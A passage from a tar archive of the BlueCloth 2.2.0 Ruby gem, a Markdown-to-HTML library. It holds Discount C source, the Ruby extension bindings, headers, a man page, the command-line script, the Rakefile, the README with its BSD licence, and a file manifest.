emtags[match-1].close, emtags[match-1].size); emmatch(f, first, last); } } /* emmatch */ /* emblock() -- walk a blocklist, attempting to match emphasis */ static void emblock(MMIOT *f, int first, int last) { int i; for ( i = first; i <= last; i++ ) if ( T(f->Q)[i].b_type != bTEXT ) emmatch(f, i, last); emclose(f, first, last); } /* emblock */ /* ___mkd_emblock() -- emblock a string of blocks, then concatenate the * resulting text onto f->out. */ void ___mkd_emblock(MMIOT *f) { int i; block *p; emblock(f, 0, S(f->Q)-1); for (i=0; i < S(f->Q); i++) { p = &T(f->Q)[i]; emfill(p); if ( S(p->b_post) ) { SUFFIX(f->out, T(p->b_post), S(p->b_post)); DELETE(p->b_post); } if ( S(p->b_text) ) { SUFFIX(f->out, T(p->b_text), S(p->b_text)); DELETE(p->b_text); } } S(f->Q) = 0; } /* ___mkd_emblock */ bluecloth-2.2.0/ext/docheader.c0000644000175000017500000000145211665167136015752 0ustar boutilboutil/* * docheader -- get values from the document header * * Copyright (C) 2007 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include "config.h" #include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" static char * onlyifset(Line *l) { char *ret = T(l->text) + l->dle; return ret[0] ? ret : 0; } char * mkd_doc_title(Document *doc) { if ( doc && doc->title ) return onlyifset(doc->title); return 0; } char * mkd_doc_author(Document *doc) { if ( doc && doc->author ) return onlyifset(doc->author); return 0; } char * mkd_doc_date(Document *doc) { if ( doc && doc->date ) return onlyifset(doc->date); return 0; } bluecloth-2.2.0/ext/cstring.h0000644000175000017500000000463611665167136015521 0ustar boutilboutil/* two template types: STRING(t) which defines a pascal-style string * of element (t) [STRING(char) is the closest to the pascal string], * and ANCHOR(t) which defines a baseplate that a linked list can be * built up from. [The linked list /must/ contain a ->next pointer * for linking the list together with.] */ #ifndef _CSTRING_D #define _CSTRING_D #include #include #ifndef __WITHOUT_AMALLOC # include "amalloc.h" #endif /* expandable Pascal-style string. */ #define STRING(type) struct { type *text; int size, alloc; } #define CREATE(x) ( (T(x) = (void*)0), (S(x) = (x).alloc = 0) ) #define EXPAND(x) (S(x)++)[(S(x) < (x).alloc) \ ? (T(x)) \ : (T(x) = T(x) ? realloc(T(x), sizeof T(x)[0] * ((x).alloc += 100)) \ : malloc(sizeof T(x)[0] * ((x).alloc += 100)) )] #define DELETE(x) ALLOCATED(x) ? (free(T(x)), S(x) = (x).alloc = 0) \ : ( S(x) = 0 ) #define CLIP(t,i,sz) \ ( ((i) >= 0) && ((sz) > 0) && (((i)+(sz)) <= S(t)) ) ? \ (memmove(&T(t)[i], &T(t)[i+sz], (S(t)-(i+sz)+1)*sizeof(T(t)[0])), \ S(t) -= (sz)) : -1 #define RESERVE(x, sz) T(x) = ((x).alloc > S(x) + (sz) \ ? T(x) \ : T(x) \ ? realloc(T(x), sizeof T(x)[0] * ((x).alloc = 100+(sz)+S(x))) \ : malloc(sizeof T(x)[0] * ((x).alloc = 100+(sz)+S(x)))) #define SUFFIX(t,p,sz) \ memcpy(((S(t) += (sz)) - (sz)) + \ (T(t) = T(t) ? realloc(T(t), sizeof T(t)[0] * ((t).alloc += sz)) \ : malloc(sizeof T(t)[0] * ((t).alloc += sz))), \ (p), sizeof(T(t)[0])*(sz)) #define PREFIX(t,p,sz) \ RESERVE( (t), (sz) ); \ if ( S(t) ) { memmove(T(t)+(sz), T(t), S(t)); } \ memcpy( T(t), (p), (sz) ); \ S(t) += (sz) /* reference-style links (and images) are stored in an array */ #define T(x) (x).text #define S(x) (x).size #define ALLOCATED(x) (x).alloc /* abstract anchor type that defines a list base * with a function that attaches an element to * the end of the list. * * the list base field is named .text so that the T() * macro will work with it. */ #define ANCHOR(t) struct { t *text, *end; } #define E(t) ((t).end) #define ATTACH(t, p) ( T(t) ? ( (E(t)->next = (p)), (E(t) = (p)) ) \ : ( (T(t) = E(t) = (p)) ) ) typedef STRING(char) Cstring; extern void Csputc(int, Cstring *); extern int Csprintf(Cstring *, char *, ...); extern int Cswrite(Cstring *, char *, int); extern void Csreparse(Cstring *, char *, int, int); #endif/*_CSTRING_D*/ bluecloth-2.2.0/ext/css.c0000644000175000017500000000314111665167136014621 0ustar boutilboutil/* markdown: a C implementation of John Gruber's Markdown markup language. * * Copyright (C) 2009 David L Parsons. * The redistribution terms are provided in the COPYRIGHT file that must * be distributed with this source code. */ #include #include #include #include #include #include #include "config.h" #include "cstring.h" #include "markdown.h" #include "amalloc.h" /* * dump out stylesheet sections. */ static void stylesheets(Paragraph *p, Cstring *f) { Line* q; for ( ; p ; p = p->next ) { if ( p->typ == STYLE ) { for ( q = p->text; q ; q = q->next ) { Cswrite(f, T(q->text), S(q->text)); Csputc('\n', f); } } if ( p->down ) stylesheets(p->down, f); } } /* dump any embedded styles to a string */ int mkd_css(Document *d, char **res) { Cstring f; int size; if ( res && d && d->compiled ) { *res = 0; CREATE(f); RESERVE(f, 100); stylesheets(d->code, &f); if ( (size = S(f)) > 0 ) { EXPAND(f) = 0; /* HACK ALERT! HACK ALERT! HACK ALERT! */ *res = T(f);/* we know that a T(Cstring) is a character pointer */ /* so we can simply pick it up and carry it away, */ /* leaving the husk of the Ctring on the stack */ /* END HACK ALERT */ } else DELETE(f); return size; } return EOF; } /* dump any embedded styles to a file */ int mkd_generatecss(Document *d, FILE *f) { char *res; int written = EOF, size = mkd_css(d, &res); if ( size > 0 ) written = fwrite(res, 1, size, f); if ( res ) free(res); return (written == size) ? size : EOF; } bluecloth-2.2.0/ext/config.h0000644000175000017500000000212611665167136015305 0ustar boutilboutil/* * Hacked-up version of the config file generated by discount */ #ifndef CONFIG_H_RZLE3ADO #define CONFIG_H_RZLE3ADO #include "extconf.h" #if SIZEOF_LONG == 8 # define DWORD unsigned int # define WORD unsigned short #else # define DWORD unsigned long # define WORD unsigned int #endif #define BYTE unsigned char #ifdef RUBY_EXTCONF_H # include RUBY_EXTCONF_H #endif #ifdef HAVE_SRANDOM # define INITRNG(x) srandom((unsigned int)x) #elif HAVE_SRAND # define INITRNG(x) srand((unsigned int)x) #else # define INITRNG(x) (void)1 #endif #ifndef HAVE_BZERO # define bzero(s, n) (memset((void *)s, 0, (size_t)n)) #endif #ifdef HAVE_STRCASECMP #elif HAVE_STRICMP # define strcasecmp stricmp #endif #ifdef HAVE_STRNCASECMP #elif HAVE_STRNICMP # define strncasecmp strnicmp #endif #ifdef HAVE_RANDOM # define COINTOSS() (random()&1) #elif HAVE_RAND # define COINTOSS() (rand()&1) #else # define COINTOSS() 1 #endif #define TABSTOP 4 #undef USE_AMALLOC /* Extensions */ #define USE_DISCOUNT_DL 1 #define USE_EXTRA_DL 1 #define WITH_GITHUB_TAGS 1 #endif /* end of include guard: CONFIG_H_RZLE3ADO */ bluecloth-2.2.0/ext/bluecloth.h0000644000175000017500000000117711665167136016026 0ustar boutilboutil/* * BlueCloth -- a Ruby implementation of Markdown * $Id: bluecloth.h,v 055519ec5f78 2010/09/17 20:42:27 ged $ * */ #ifndef BLUECLOTH_H #define BLUECLOTH_H #include "config.h" #include "assert.h" #include "mkdio.h" #include "ruby.h" void mkd_initialize _(( void )); void mkd_with_html5_tags _(( void )); #if defined(HAVE_RUBY_ENCODING_H) && HAVE_RUBY_ENCODING_H # define M17N_SUPPORTED # include "ruby/encoding.h" #endif /* Replace the macro from encoding.h that refers to static 'rb_encoding_list' */ #ifdef ENC_FROM_ENCINDEX #undef ENC_FROM_ENCINDEX #define ENC_FROM_ENCINDEX(idx) (rb_enc_from_index(idx)) #endif #endif bluecloth-2.2.0/ext/bluecloth.c0000644000175000017500000003072711665167136016024 0ustar boutilboutil/* * BlueCloth -- a Ruby implementation of Markdown * $Id: bluecloth.c,v 463bb88e4d08 2011/03/12 17:58:01 ged $ * * = Authors * * - Michael Granger * * BlueCloth 2 is mostly just a wrapper around the Discount library * written by David Loren Parsons . * * = License * * Discount: * Copyright (C) 2007 David Loren Parsons. All rights reserved. * * The Discount library is used under the licensing terms outlined in the * COPYRIGHT.discount file included in the distribution. * * Ruby bits: * See the LICENSE file included in the distribution. * */ #include "bluecloth.h" VALUE bluecloth_cBlueCloth; VALUE bluecloth_default_opthash; /* Get a Discount document for the specified text */ static MMIOT * bluecloth_alloc( VALUE text, int flags ) { MMIOT *document; document = mkd_string( RSTRING_PTR(text), RSTRING_LEN(text), flags ); if ( !document ) rb_raise( rb_eRuntimeError, "Failed to create a BlueCloth object for: %s", RSTRING_PTR(text) ); return document; } /* * GC Free function */ static void bluecloth_gc_free( MMIOT *document ) { if ( document ) { mkd_cleanup( document ); document = NULL; } } /* -------------------------------------------------------------- * Utility functions * -------------------------------------------------------------- */ #ifdef HAVE_STDARG_PROTOTYPES #include void bluecloth_debug(const char *fmt, ...) #else #include void bluecloth_debug( fmt, va_alist ) const char *fmt; va_dcl #endif { char buf[BUFSIZ], buf2[BUFSIZ]; va_list args; if (!RTEST(ruby_debug)) return; snprintf( buf, BUFSIZ, "Debug>>> %s", fmt ); #ifdef HAVE_STDARG_PROTOTYPES va_start( args, fmt ); #else va_start( args ); #endif vsnprintf( buf2, BUFSIZ, buf, args ); fputs( buf2, stderr ); fputs( "\n", stderr ); fflush( stderr ); va_end( args ); } /* * Object validity checker. Returns the data pointer. */ static MMIOT * bluecloth_check_ptr( VALUE self ) { Check_Type( self, T_DATA ); if ( !rb_obj_is_kind_of(self, bluecloth_cBlueCloth) ) { rb_raise( rb_eTypeError, "wrong argument type %s (expected BlueCloth object)", rb_class2name(CLASS_OF( self )) ); } return DATA_PTR( self ); } /* * Fetch the data pointer and check it for sanity. */ static MMIOT * bluecloth_get_ptr( VALUE self ) { MMIOT *ptr = bluecloth_check_ptr( self ); if ( !ptr ) rb_fatal( "Use of uninitialized BlueCloth object" ); return ptr; } /* -------------------------------------------------------------- * Class methods * -------------------------------------------------------------- */ /* * call-seq: * BlueCloth.allocate -> object * * Allocate a new BlueCloth object. * */ static VALUE bluecloth_s_allocate( VALUE klass ) { return Data_Wrap_Struct( klass, NULL, bluecloth_gc_free, 0 ); } /* * call-seq: * BlueCloth.discount_version -> string * * Return the version string of the Discount library BlueCloth was built on. * */ static VALUE bluecloth_s_discount_version( VALUE klass ) { return rb_str_new2( markdown_version ); } /* -------------------------------------------------------------- * Instance methods * -------------------------------------------------------------- */ /* * call-seq: * BlueCloth.new( string='', options=DEFAULT_OPTIONS ) -> object * * Create a new BlueCloth object that will process the given +string+. The +options+ * argument is a Hash that can be used to control the generated markup, and to * enable/disable extensions. The supported options are: * * [:remove_links] * Ignore links in Markdown, and escape A tags in the output. Defaults to +false+. * [:remove_images] * Ignore images in Markdown, and escape IMG tags in the output. Defaults to +false+. * [:smartypants] * Do Smartypants-style mangling of quotes, dashes, or ellipses. Defaults to +true+. * [:pseudoprotocols] * Support Discount's pseudo-protocol links. Defaults to +false+. * [:pandoc_headers] * Support the extraction of * {Pandoc headers}[http://johnmacfarlane.net/pandoc/README.html#title-blocks], which * can be fetched as a Hash via the #header method. Defaults to +false+. * [:header_labels] * Generate ID attributes for all headers. Defaults to +false+. * [:escape_html] * Escape all HTML in the input string. Defaults to +false+. * [:strict_mode] * Disables Discount's relaxed emphasis (ignores underscores in the middle of words) and * superscript notation. Defaults to +true+. * */ static VALUE bluecloth_initialize( int argc, VALUE *argv, VALUE self ) { if ( !bluecloth_check_ptr(self) ) { MMIOT *document; VALUE text, optflags, fullhash, opthash = Qnil; int flags = 0; VALUE utf8text = Qnil; rb_scan_args( argc, argv, "02", &text, &opthash ); /* Default empty string and options */ if ( argc == 0 ) { text = rb_str_new( "", 0 ); } /* One arg could be either the text or the opthash, so shift the args if appropriate */ else if ( argc == 1 && (TYPE(text) == T_HASH || TYPE(text) == T_FIXNUM) ) { opthash = text; text = rb_str_new( "", 0 ); } else { text = rb_obj_dup( rb_obj_as_string(text) ); } /* Merge the options hash with the defaults and turn it into a flags int */ if ( NIL_P(opthash) ) opthash = rb_hash_new(); optflags = rb_funcall( bluecloth_cBlueCloth, rb_intern("flags_from_opthash"), 1, opthash ); fullhash = rb_funcall( bluecloth_cBlueCloth, rb_intern("opthash_from_flags"), 1, optflags ); flags = NUM2INT( optflags ); #ifdef M17N_SUPPORTED bluecloth_debug( "Bytes before utf8ification: %s", RSTRING_PTR(rb_funcall(text, rb_intern("dump"), 0, Qnil)) ); utf8text = rb_str_export_to_enc( rb_str_dup(text), rb_utf8_encoding() ); DATA_PTR( self ) = document = bluecloth_alloc( utf8text, flags ); #else DATA_PTR( self ) = document = bluecloth_alloc( text, flags ); #endif /* M17N_SUPPORTED */ if ( !mkd_compile(document, flags) ) rb_raise( rb_eRuntimeError, "Failed to compile markdown" ); OBJ_FREEZE( text ); rb_iv_set( self, "@text", text ); OBJ_FREEZE( fullhash ); rb_iv_set( self, "@options", fullhash ); OBJ_INFECT( self, text ); } return self; } /* * call-seq: * bluecloth.to_html -> string * * Transform the document into HTML. * */ static VALUE bluecloth_to_html( VALUE self ) { MMIOT *document = bluecloth_get_ptr( self ); char *output; int length; VALUE result = Qnil; bluecloth_debug( "Compiling document %p", document ); if ( (length = mkd_document( document, &output )) != EOF ) { #ifdef M17N_SUPPORTED VALUE orig_encoding = rb_obj_encoding( rb_iv_get(self, "@text") ); VALUE utf8_result = rb_enc_str_new( output, strlen(output), rb_utf8_encoding() ); result = rb_str_encode( utf8_result, orig_encoding, 0, Qnil ); bluecloth_debug( "Bytes after un-utf8ification (if necessary): %s", RSTRING_PTR(rb_funcall(result, rb_intern("dump"), 0, Qnil)) ); #else result = rb_str_new2( output ); #endif /* M17N_SUPPORTED */ OBJ_INFECT( result, self ); return result; } else { return Qnil; } } char * (*header_functions[3])(MMIOT *) = { mkd_doc_title, mkd_doc_author, mkd_doc_date }; /* * call-seq: * bluecloth.header -> hash * * Return the hash of * {Pandoc-style headers}[http://johnmacfarlane.net/pandoc/README.html#title-blocks] * from the parsed document. If there were no headers, or the BlueCloth object was not * constructed with the :pandoc_headers option enabled, an empty Hash is returned. * * markdown = "%title My Essay\n%author Me\n%date Today\n\nSome stuff..." * bc = BlueCloth.new( markdown, :pandoc_headers => true ) * # => * bc.header * # => */ static VALUE bluecloth_header( VALUE self ) { MMIOT *document = bluecloth_get_ptr( self ); char *field; VALUE fieldstring, headers = rb_hash_new(); bluecloth_debug( "Fetching pandoc headers for document %p", document ); if ( (field = mkd_doc_title(document)) ) { fieldstring = rb_str_new2( field ); OBJ_INFECT( fieldstring, self ); rb_hash_aset( headers, ID2SYM(rb_intern("title")), fieldstring ); } if ( (field = mkd_doc_author(document)) ) { fieldstring = rb_str_new2( field ); OBJ_INFECT( fieldstring, self ); rb_hash_aset( headers, ID2SYM(rb_intern("author")), fieldstring ); } if ( (field = mkd_doc_date(document)) ) { fieldstring = rb_str_new2( field ); OBJ_INFECT( fieldstring, self ); rb_hash_aset( headers, ID2SYM(rb_intern("date")), fieldstring ); } return headers; } /* -------------------------------------------------------------- * Initializer * -------------------------------------------------------------- */ void Init_bluecloth_ext( void ) { bluecloth_cBlueCloth = rb_define_class( "BlueCloth", rb_cObject ); mkd_with_html5_tags(); mkd_initialize(); rb_define_alloc_func( bluecloth_cBlueCloth, bluecloth_s_allocate ); rb_define_singleton_method( bluecloth_cBlueCloth, "discount_version", bluecloth_s_discount_version, 0 ); rb_define_method( bluecloth_cBlueCloth, "initialize", bluecloth_initialize, -1 ); rb_define_method( bluecloth_cBlueCloth, "to_html", bluecloth_to_html, 0 ); rb_define_method( bluecloth_cBlueCloth, "header", bluecloth_header, 0 ); rb_define_alias( bluecloth_cBlueCloth, "pandoc_header", "header" ); /* The original Markdown text the object was constructed with */ rb_define_attr( bluecloth_cBlueCloth, "text", 1, 0 ); /* The options hash that describes the options in effect when the object was created */ rb_define_attr( bluecloth_cBlueCloth, "options", 1, 0 ); /* --- Constants ----- */ /* Do not process `[]' and remove A tags from the output. */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOLINKS", INT2FIX(MKD_NOLINKS) ); /* Do not process `![]' and remove IMG tags from the output. */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOIMAGE", INT2FIX(MKD_NOIMAGE) ); /* Do not do Smartypants-style mangling of quotes, dashes, or ellipses. */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOPANTS", INT2FIX(MKD_NOPANTS) ); /* Escape all opening angle brackets in the input text instead of allowing block-level HTML */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOHTML", INT2FIX(MKD_NOHTML) ); /* disable SUPERSCRIPT, RELAXED_EMPHASIS */ rb_define_const( bluecloth_cBlueCloth, "MKD_STRICT", INT2FIX(MKD_STRICT) ); /* process text inside an html tag; no , no , no html or [] expansion */ rb_define_const( bluecloth_cBlueCloth, "MKD_TAGTEXT", INT2FIX(MKD_TAGTEXT) ); /* don't allow pseudo-protocols */ rb_define_const( bluecloth_cBlueCloth, "MKD_NO_EXT", INT2FIX(MKD_NO_EXT) ); /* Generate code for xml ![CDATA[...]] */ rb_define_const( bluecloth_cBlueCloth, "MKD_CDATA", INT2FIX(MKD_CDATA) ); /* Don't use superscript extension */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOSUPERSCRIPT", INT2FIX(MKD_NOSUPERSCRIPT) ); /* Relaxed emphasis -- emphasis happens everywhere */ rb_define_const( bluecloth_cBlueCloth, "MKD_NORELAXED", INT2FIX(MKD_NORELAXED) ); /* disallow tables */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOTABLES", INT2FIX(MKD_NOTABLES) ); /* forbid ~~strikethrough~~ */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOSTRIKETHROUGH", INT2FIX(MKD_NOSTRIKETHROUGH) ); /* do table-of-contents processing */ rb_define_const( bluecloth_cBlueCloth, "MKD_TOC", INT2FIX(MKD_TOC) ); /* MarkdownTest 1.0 Compatibility Mode */ rb_define_const( bluecloth_cBlueCloth, "MKD_1_COMPAT", INT2FIX(MKD_1_COMPAT) ); /* MKD_NOLINKS|MKD_NOIMAGE|MKD_TAGTEXT */ rb_define_const( bluecloth_cBlueCloth, "MKD_EMBED", INT2FIX(MKD_EMBED) ); /* Create links for inline URIs */ rb_define_const( bluecloth_cBlueCloth, "MKD_AUTOLINK", INT2FIX(MKD_AUTOLINK) ); /* Be paranoid about link protocols */ rb_define_const( bluecloth_cBlueCloth, "MKD_SAFELINK", INT2FIX(MKD_SAFELINK) ); /* don't process header blocks */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOHEADER", INT2FIX(MKD_NOHEADER) ); /* Expand tabs to 4 spaces */ rb_define_const( bluecloth_cBlueCloth, "MKD_TABSTOP", INT2FIX(MKD_TABSTOP) ); /* Forbid '>%class%' blocks */ rb_define_const( bluecloth_cBlueCloth, "MKD_NODIVQUOTE", INT2FIX(MKD_NODIVQUOTE) ); /* Forbid alphabetic lists */ rb_define_const( bluecloth_cBlueCloth, "MKD_NOALPHALIST", INT2FIX(MKD_NOALPHALIST) ); /* Forbid definition lists */ rb_define_const( bluecloth_cBlueCloth, "MKD_NODLIST", INT2FIX(MKD_NODLIST) ); /* Markdown-extra Footnotes */ rb_define_const( bluecloth_cBlueCloth, "MKD_EXTRA_FOOTNOTE", INT2FIX(MKD_EXTRA_FOOTNOTE) ); /* Make sure the Ruby side is loaded */ rb_require( "bluecloth" ); bluecloth_default_opthash = rb_const_get( bluecloth_cBlueCloth, rb_intern("DEFAULT_OPTIONS") ); } bluecloth-2.2.0/ext/amalloc.h0000644000175000017500000000075411665167136015455 0ustar boutilboutil/* * debugging malloc()/realloc()/calloc()/free() that attempts * to keep track of just what's been allocated today. */ #ifndef AMALLOC_D #define AMALLOC_D #include "config.h" #ifdef USE_AMALLOC extern void *amalloc(int); extern void *acalloc(int,int); extern void *arealloc(void*,int); extern void afree(void*); extern void adump(); #define malloc amalloc #define calloc acalloc #define realloc arealloc #define free afree #else #define adump() (void)1 #endif #endif/*AMALLOC_D*/ bluecloth-2.2.0/ext/VERSION0000644000175000017500000000000611665167136014732 0ustar boutilboutil2.0.9 bluecloth-2.2.0/ext/Csio.c0000644000175000017500000000175511665167136014737 0ustar boutilboutil#include #include #include #include "cstring.h" #include "markdown.h" #include "amalloc.h" /* putc() into a cstring */ void Csputc(int c, Cstring *iot) { EXPAND(*iot) = c; } /* printf() into a cstring */ int Csprintf(Cstring *iot, char *fmt, ...) { va_list ptr; int siz=100; do { RESERVE(*iot, siz); va_start(ptr, fmt); siz = vsnprintf(T(*iot)+S(*iot), ALLOCATED(*iot)-S(*iot), fmt, ptr); va_end(ptr); } while ( siz > (ALLOCATED(*iot)-S(*iot)) ); S(*iot) += siz; return siz; } /* write() into a cstring */ int Cswrite(Cstring *iot, char *bfr, int size) { RESERVE(*iot, size); memcpy(T(*iot)+S(*iot), bfr, size); S(*iot) += size; return size; } /* reparse() into a cstring */ void Csreparse(Cstring *iot, char *buf, int size, int flags) { MMIOT f; ___mkd_initmmiot(&f, 0); ___mkd_reparse(buf, size, 0, &f); ___mkd_emblock(&f); SUFFIX(*iot, T(f.out), S(f.out)); ___mkd_freemmiot(&f, 0); } bluecloth-2.2.0/bluecloth.1.pod0000644000175000017500000000127611665167136015720 0ustar boutilboutil=encoding UTF-8 =head1 NAME bluecloth - convert Markdown input to HTML =head1 SYNOPSIS B [I] I =head1 DESCRIPTION B converts input files written in Markdown to HTML and outputs them to standard output. If no input file is given, it will read from the standard input. =head1 OPTIONS =over =item B<-d>, B<--debug> Turn debugging output on. =item B<-f>, B<--fragment> Output HTML fragments instead of whole documents. =item B<-h>, B<--help> Output a help message and exit. =back =head1 AUTHORS B was written by Michael Granger. This manual page has been written for the Debian Project by Cédric Boutillier (but may used by others). bluecloth-2.2.0/bin/0000755000175000017500000000000011665167136013636 5ustar boutilboutilbluecloth-2.2.0/bin/bluecloth0000755000175000017500000000253411665167136015551 0ustar boutilboutil#!/usr/bin/ruby # # = bluecloth # # Format one or more text files with the markdown formatter. # # = Synopsis # # bluecloth [OPTIONS] [FILES] # # # BEGIN { require 'bluecloth' require 'optparse' } DocumentWrapper = %{ %s %s } def main fragment = false destination = '.' ARGV.options do |oparser| oparser.banner = "Usage: #$0 [OPTIONS] FILES" # Debug mode oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) { $DEBUG = true } # 'Fragment' mode oparser.on( "--fragment", "-f", TrueClass, "Output HTML fragments instead of whole documents" ) { fragment = true } # Output destination #oparser.on( "--output=DESTINATION", "-o DESTINATION", String, # "Write output to DESTINATION instead of the current directory" ) {|arg| # destination = arg #} oparser.parse! end # Filter mode if no arguments ARGV.push( "-" ) if ARGV.empty? ARGV.each {|file| if file == '-' contents = $stdin.read else contents = File::read( file ) end bc = BlueCloth::new( contents ) $stderr.puts "Using BlueCloth version #{BlueCloth::VERSION}" if fragment $stdout.puts bc.to_html else $stdout.puts DocumentWrapper % [ file, bc.to_html ] end } rescue => err $stderr.puts "Aborting: Fatal error: %s" % err.message exit 255 end main bluecloth-2.2.0/Rakefile0000644000175000017500000000552311665167136014540 0ustar boutilboutil#!/usr/bin/env rake require 'rbconfig' require 'pathname' begin require 'rake/extensiontask' rescue LoadError abort "This Rakefile requires rake-compiler (gem install rake-compiler)" end begin require 'hoe' rescue LoadError abort "This Rakefile requires hoe (gem install hoe)" end # Build constants BASEDIR = Pathname( __FILE__ ).dirname.relative_path_from( Pathname.pwd ) SPECDIR = BASEDIR + 'spec' LIBDIR = BASEDIR + 'lib' EXTDIR = BASEDIR + 'ext' DLEXT = Config::CONFIG['DLEXT'] EXT = LIBDIR + "bluecloth_ext.#{DLEXT}" MANDIR = BASEDIR + 'man' MAN1DIR = MANDIR + 'man1' MANPAGE = MAN1DIR + 'bluecloth.1' MANPAGE_POD = BASEDIR + 'bluecloth.1.pod' # Load Hoe plugins Hoe.plugin :mercurial Hoe.plugin :signing Hoe.plugins.delete :rubyforge Hoe.plugins.delete :compiler # Configure Hoe hoespec = Hoe.spec 'bluecloth' do self.readme_file = 'README.rdoc' self.history_file = 'History.rdoc' self.extra_rdoc_files << 'README.rdoc' << 'History.rdoc' self.developer 'Michael Granger', 'ged@FaerieMUD.org' self.dependency 'tidy-ext', '~> 0.1', :developer self.dependency 'rake-compiler', '~> 0.7', :developer self.dependency 'rspec', '~> 2.6', :developer self.spec_extras[:licenses] = ["BSD"] self.spec_extras[:extensions] = [ "ext/extconf.rb" ] self.require_ruby_version( '>=1.8.7' ) self.hg_sign_tags = true if self.respond_to?( :hg_sign_tags= ) self.rdoc_locations << "deveiate:/usr/local/www/public/code/#{remote_rdoc_dir}" end ENV['VERSION'] ||= hoespec.spec.version.to_s # Ensure the specs pass before checking in task 'hg:precheckin' => [ :check_manifest, :check_history, :spec ] # Ensure the extension is compiled before testing task :spec => :compile # gem-testers support task :test do # rake-compiler always wants to copy the compiled extension into lib/, but # we don't want testers to have to re-compile, especially since that # often fails because they can't (and shouldn't have to) write to tmp/ in # the installed gem dir. So we clear the task rake-compiler set up # to break the dependency between :spec and :compile when running under # rubygems-test, and then run :spec. Rake::Task[ EXT.to_s ].clear Rake::Task[ :spec ].execute end desc "Turn on warnings and debugging in the build." task :maint do ENV['MAINTAINER_MODE'] = 'yes' end ENV['RUBY_CC_VERSION'] = '1.8.7:1.9.2' # Rake-compiler task Rake::ExtensionTask.new do |ext| ext.name = 'bluecloth_ext' ext.gem_spec = hoespec.spec ext.ext_dir = 'ext' ext.source_pattern = "*.{c,h}" ext.cross_compile = true ext.cross_platform = %w[i386-mswin32 i386-mingw32] end # Generate a manpage for bin/bluecloth for packagers directory MAN1DIR.to_s file MANPAGE_POD file MANPAGE => [ MANPAGE_POD, MAN1DIR ] do |task| sh 'pod2man', '--center', '', '--release', '', '--name', 'bluecloth', '--utf8', task.prerequisites.first, task.name end bluecloth-2.2.0/README.rdoc0000644000175000017500000000733511665167136014704 0ustar boutilboutil= bluecloth 2 * http://deveiate.org/projects/BlueCloth == Description BlueCloth is a Ruby implementation of John Gruber's Markdown[http://daringfireball.net/projects/markdown/], a text-to-HTML conversion tool for web writers. To quote from the project page: Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML). It borrows a naming convention and several helpings of interface from {Redcloth}[http://redcloth.org/], Why the Lucky Stiff's processor for a similar text-to-HTML conversion syntax called Textile[http://www.textism.com/tools/textile/]. BlueCloth 2 is a complete rewrite using David Parsons' Discount[http://www.pell.portland.or.us/~orc/Code/discount/] library, a C implementation of Markdown. I rewrote it using the extension for speed and accuracy; the original BlueCloth was a straight port from the Perl version that I wrote in a few days for my own use just to avoid having to shell out to Markdown.pl, and it was quite buggy and slow. I apologize to all the good people that sent me patches for it that were never released. Note that the new gem is called 'bluecloth' and the old one 'BlueCloth'. If you have both installed, you can ensure you're loading the new one with the 'gem' directive: # Load the 2.0 version gem 'bluecloth', '>= 2.0.0' # Load the 1.0 version gem 'BlueCloth' require 'bluecloth' == Installation gem install bluecloth == Contributing You can check out the current development source {with Mercurial}[http://repo.deveiate.org/BlueCloth], or if you prefer Git, via {its Github mirror}[https://github.com/ged/bluecloth]. After checking out the source, run: $ rake newb This task will install any missing dependencies, run the tests/specs, and generate the API documentation. == Contributors * Martin Chase * Florian Gross The Discount code upon which BlueCloth is based was written by David Loren Parsons. == License This product includes software developed by David Loren Parsons . ->Copyright (C) 2007 David Loren Parsons. All rights reserved.<- The full Discount license may be found in the README.discount file included with the distribution. All other code: Copyright (c) 2004-2011, Michael Granger All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author/s, nor the names of the project's contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. bluecloth-2.2.0/Manifest.txt0000644000175000017500000000646611665167136015411 0ustar boutilboutil.gemtest .rspec History.rdoc LICENSE LICENSE.discount Manifest.txt README.rdoc Rakefile bin/bluecloth bluecloth.1.pod ext/Csio.c ext/VERSION ext/amalloc.h ext/bluecloth.c ext/bluecloth.h ext/config.h ext/css.c ext/cstring.h ext/docheader.c ext/emmatch.c ext/extconf.rb ext/generate.c ext/html5.c ext/markdown.c ext/markdown.h ext/mkdio.c ext/mkdio.h ext/resource.c ext/setup.c ext/tags.c ext/tags.h ext/version.c ext/xml.c ext/xmlpage.c lib/bluecloth.rb man/man1/bluecloth.1 spec/bluecloth/101_changes_spec.rb spec/bluecloth/TEMPLATE spec/bluecloth/autolinks_spec.rb spec/bluecloth/blockquotes_spec.rb spec/bluecloth/code_spans_spec.rb spec/bluecloth/emphasis_spec.rb spec/bluecloth/entities_spec.rb 